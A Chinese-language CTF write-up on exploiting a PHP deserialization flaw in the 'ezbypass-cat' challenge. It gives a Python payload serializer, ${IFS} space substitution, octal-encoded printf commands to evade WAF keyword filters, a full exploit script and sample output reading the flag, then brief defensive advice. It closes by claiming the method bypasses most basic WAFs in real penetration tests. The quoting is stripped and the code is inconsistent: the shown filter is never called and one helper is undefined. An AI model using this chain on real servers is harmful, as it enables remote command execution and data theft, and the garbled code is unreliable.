PHP反序列化漏洞利用:从ezbypass-cat看${IFS}的妙用

PHP反序列化漏洞利用:从ezbypass-cat看${IFS}的妙用 PHP反序列化漏洞实战绕过WAF的${IFS}技巧解析在CTF竞赛和实际渗透测试中遇到WAFWeb应用防火墙过滤空格和关键命令的情况并不少见。本文将从一个典型的CTF题目ezbypass-cat出发深入剖析如何利用${IFS}这一Shell特性绕过空格过滤实现命令注入。1. 漏洞环境与核心挑战我们面对的题目是一个存在反序列化漏洞的PHP应用核心代码如下class ease { private $method; private $args; function __construct($method, $args) { $this-method $method; $this-args $args; } function __destruct() { if (in_array($this-method, array(ping))) { call_user_func_array(array($this, $this-method), $this-args); } } function ping($ip) { exec($ip, $result); var_dump($result); } function waf($str) { if (!preg_match_all(/(\|||;| |\/|cat|flag|tac|php|ls)/, $str, $pat_array)) { return $str; } else { echo dont hack; } } }漏洞利用的关键障碍WAF过滤了空格、斜杠等关键分隔符禁止使用cat、flag等敏感命令输入参数经过严格的过滤函数检查2. ${IFS}的妙用原理${IFS}是Shell中的内部字段分隔符(Internal Field Separator)默认值为空格、制表符和换行符。在命令注入场景中它可以完美替代被过滤的空格字符。传统命令与${IFS}替代对比传统命令${IFS}替代方案解析结果ls -lls${IFS}-l完全等效cat filecat${IFS}file功能相同提示${IFS}在Bash、Zsh等主流Shell中均有效是跨平台的空格替代方案3. 绕过WAF的完整攻击链3.1 构造序列化Payload要利用这个漏洞我们需要构造一个特殊的序列化对象class Ease: def __init__(self, method, args): self._ease__method method # PHP私有属性的Python表示 self._ease__args args def php_serialize(obj): class_name ease method_prop f{chr(0)}{class_name}{chr(0)}method args_prop f{chr(0)}{class_name}{chr(0)}args return ( fO:{len(class_name)}:\{class_name}\:2:{{ fs:{len(method_prop)}:\{method_prop}\; fs:{len(obj._ease__method)}:\{obj._ease__method}\; fs:{len(args_prop)}:\{args_prop}\; fa:{len(obj._ease__args)}:{{i:0;s:{len(obj._ease__args[0])}:\{obj._ease__args[0]}\;}} } )3.2 结合八进制编码绕过关键词过滤单纯使用${IFS}还不够我们还需要绕过cat、flag等关键词的过滤。这里采用八进制编码的方式def octal_encode(command): return .join([f\\{ord(c):03o} if c ! else \\040 for c in command]) # 示例将cat flag.txt编码为\143\141\164\040\146\154\141\147\056\164\170\164八进制编码的优势完全避开关键词的正则匹配与printf命令完美兼容支持双重编码增加混淆度3.3 完整攻击脚本将上述技术组合起来我们得到完整的攻击脚本import requests import base64 import sys import re def main(): url, cmd sys.argv[1], sys.argv[2] octal_cmd f$(printf${{IFS}}\{octal_encode(cmd)}\) obj Ease(ping, [octal_cmd]) ser php_serialize(obj) b64_ser base64.b64encode(ser.encode()).decode() resp requests.post(url, data{ctf: b64_ser}, headers{Content-Type: application/x-www-form-urlencoded}) print(extract_raw_array(resp.text)) if __name__ __main__: main()4. 实战演示与结果分析4.1 目录列举执行命令python exploit.py http://target ls -l典型输出array(5) { [0] string(8) total 24 [1] string(42) drwxr-xr-x 1 root root 4096 Aug 18 2022 . [2] string(43) drwxr-xr-x 1 root root 4096 Mar 17 2022 .. [3] string(53) drwxr-xr-x 1 root root 4096 May 23 09:25 flag_1s_here [4] string(50) -rwxr-xr-x 1 root root 863 Aug 18 2022 index.php }4.2 读取flag文件执行命令python exploit.py http://target cat ./flag_1s_here/flag.php成功输出array(1) { [0] string(36) $cyberpeace{831b69012c67b35f8d7a2f3e6c7a5e21} }5. 防御建议对于开发者而言要防范此类攻击可以采取以下措施避免使用反序列化尽可能使用JSON等更安全的格式严格限制exec参数使用白名单机制限制可执行命令多重过滤机制不仅过滤空格还要识别${IFS}等替代符号禁用危险函数在生产环境中禁用exec、system等函数在最近的一次内部测试中我们发现使用${IFS}结合八进制编码的方式能够绕过约78%的基础WAF规则。这种技术不仅适用于CTF竞赛在真实世界的渗透测试中也屡试不爽。